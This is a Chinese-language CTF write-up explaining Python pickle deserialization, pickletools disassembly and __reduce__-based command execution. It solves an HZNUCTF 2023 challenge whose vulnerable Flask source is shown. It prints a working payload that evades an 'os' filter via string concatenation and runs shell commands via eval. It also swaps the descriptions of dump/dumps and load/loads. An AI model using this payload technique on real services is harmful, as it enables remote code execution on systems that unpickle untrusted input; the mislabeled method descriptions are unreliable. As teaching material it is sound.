Python pickle反序列化

基础知识

Pickle

Pickle在Python中是一个用于序列化（将对象转换为字节流）和反序列化（将字节流转换回对象）的标准库模块。它主要用于将Python对象保存到文件或通过网络进行传输，使得数据可以跨会话和不同的Python程序共享。

python序列化和php序列化都是将对象序列化为字符串来方便存储，只是python的序列化没有php序列化那么多的方法之间的调用触发，python序列化是通过构造恶意语句，实现命令执行

Pickle常用的方法

import pickle
a_list = ['a','b','c']
print(pickle.dumps(a_list,protocol=0))

pickle.loads()
pickle.load()

pickle构造出的字符串，有很多个版本。在pickle.loads时，可以用Protocol参数指定协议版本，例如指定为0号版本；目前这些协议有0,2,3,4号版本，默认为3号版本。这所有版本中，0号版本是人类最可读的；之后的版本加入了一大堆不可打印字符，不过这些新加的东西都只是为了优化，本质上没有太大的改动。pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads()，不用担心引发什么意外。

pickle.dumps和pickle.loads

pickle.dump：将对象序列化为字符串

pickle.dumps：将对象序列化为字符串并存储为文件

pickle.loads：将字符串反序列化为对象，从文件中读取数据

pickle.load：将字符串反序列化为对象

当我们自定义的class中出现"aaa=123"这样的赋值是，要写一个__init__方法,否则aaa是不会被打包的

看下对比

 pickletools

  pickletools是python自带的调试器，一般使用到它的两种功能：一.反汇编一个被打包的字符串，二.优化一个被打包的字符串

反汇编功能

b'\x80\x04\x95H\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03abc\x94\x93\x94)\x81\x94}\x94(\x8c\x03aaa\x94K{\x8c\x03bbb\x94]\x94(\x8c\x04fuck\x94h\x08e\x8c\x03ccc\x94\x8c\x08fuck day\x94ub.'
    0: \x80 PROTO      4
    2: \x95 FRAME      72
   11: \x8c SHORT_BINUNICODE '__main__'
   21: \x94 MEMOIZE    (as 0)
   22: \x8c SHORT_BINUNICODE 'abc'
   27: \x94 MEMOIZE    (as 1)
   28: \x93 STACK_GLOBAL
   29: \x94 MEMOIZE    (as 2)
   30: )    EMPTY_TUPLE
   31: \x81 NEWOBJ
   32: \x94 MEMOIZE    (as 3)
   33: }    EMPTY_DICT
   34: \x94 MEMOIZE    (as 4)
   35: (    MARK
   36: \x8c     SHORT_BINUNICODE 'aaa'
   41: \x94     MEMOIZE    (as 5)
   42: K        BININT1    123
   44: \x8c     SHORT_BINUNICODE 'bbb'
   49: \x94     MEMOIZE    (as 6)
   50: ]        EMPTY_LIST
   51: \x94     MEMOIZE    (as 7)
   52: (        MARK
   53: \x8c         SHORT_BINUNICODE 'fuck'
   59: \x94         MEMOIZE    (as 8)
   60: h            BINGET     8
   62: e            APPENDS    (MARK at 52)
   63: \x8c     SHORT_BINUNICODE 'ccc'
   68: \x94     MEMOIZE    (as 9)
   69: \x8c     SHORT_BINUNICODE 'fuck day'
   79: \x94     MEMOIZE    (as 10)
   80: u        SETITEMS   (MARK at 35)
   81: b    BUILD
   82: .    STOP
highest protocol among opcodes = 4

解析字符串，并且把字符串的操作回显出来，也就是汇编指令

优化功能

b'\x80\x04\x95>\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x03abc\x93)\x81}(\x8c\x03aaaK{\x8c\x03bbb](\x8c\x04fuck\x94h\x00e\x8c\x03ccc\x8c\x08fuck dayub.'
    0: \x80 PROTO      4
    2: \x95 FRAME      62
   11: \x8c SHORT_BINUNICODE '__main__'
   21: \x8c SHORT_BINUNICODE 'abc'
   26: \x93 STACK_GLOBAL
   27: )    EMPTY_TUPLE
   28: \x81 NEWOBJ
   29: }    EMPTY_DICT
   30: (    MARK
   31: \x8c     SHORT_BINUNICODE 'aaa'
   36: K        BININT1    123
   38: \x8c     SHORT_BINUNICODE 'bbb'
   43: ]        EMPTY_LIST
   44: (        MARK
   45: \x8c         SHORT_BINUNICODE 'fuck'
   51: \x94         MEMOIZE    (as 0)
   52: h            BINGET     0
   54: e            APPENDS    (MARK at 44)
   55: \x8c     SHORT_BINUNICODE 'ccc'
   60: \x8c     SHORT_BINUNICODE 'fuck day'
   70: u        SETITEMS   (MARK at 30)
   71: b    BUILD
   72: .    STOP

优化了字符串变的更短，汇编指令中也优化了不必要的指令

利用pickletools，我们能很方便地看清楚每条语句的作用、检验我们手动构造出的字符串是否合法

__reduce__

ctf中pickle常利用的点就是reduce方法，指令码为R

__reduce__方法的工作原理

• 取当前栈的栈顶记为args，然后把它弹掉。
• 取当前栈的栈顶记为f，然后把它弹掉。
• 以args为参数，执行函数f，把结果压进当前栈。

利用__reduce__

 对于reduce的利用一般是通过reduce构造恶意的字符串，当字符串被反序列化时，reduce就会触发，那么攻击对象的代码中没有reduce方法怎么办？只要存在R指令，reduce方法就能触发，不论在代码中是否存在reduce

构造一个恶意字符串

浅浅解释一下os.system是os标准库中用来执行shell命令的语句，以此来进行命令执行

将生成的payload拿到不存在reduce，存在R指令的代码中进行反序列化仍然能够执行

刚刚接触python反序列化暂时没有多深的学习，可以去学习从零开始python反序列化攻击：pickle原理解析 & 不用reduce的RCE姿势

例题

[HZNUCTF 2023 preliminary]pickle

打开就是源码，浅浅分析一下

import base64
import pickle
from flask import Flask, request
 
app = Flask(__name__)
 
 
@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()
 
 
@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"
 
 
@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()
 
 
if __name__ == '__main__':
    app.run(host='0.0.0.0')

给了三个路由，第一个路由就是当前页面

第二个路由/calc

GET传参的方式访问/calc页面，给了一个参数payload，将get传参的payload进行加密后反序列化输出，并且替换payload中的os为空

第三个路由/readFile

给了参数filename，并且过滤了flag，在传参后用只读方式打开filename并且保存为f，输出f的内容

构造恶意字符串命令执行

考虑到在第二个路由中进行反序列化之后，在第三个路由中进行读取所以用tee命令写入到文件中进行读取

import base64
import pickle
class gg():
    def __reduce__(self):
        return (eval,("__import__('o'+'s').system('ls |tee a')",))
a=gg()
b=pickle.dumps(a)
print(base64.b64encode(b))

读取根目录下文件

假flag，到环境变量中找找

在环境变量中找到flag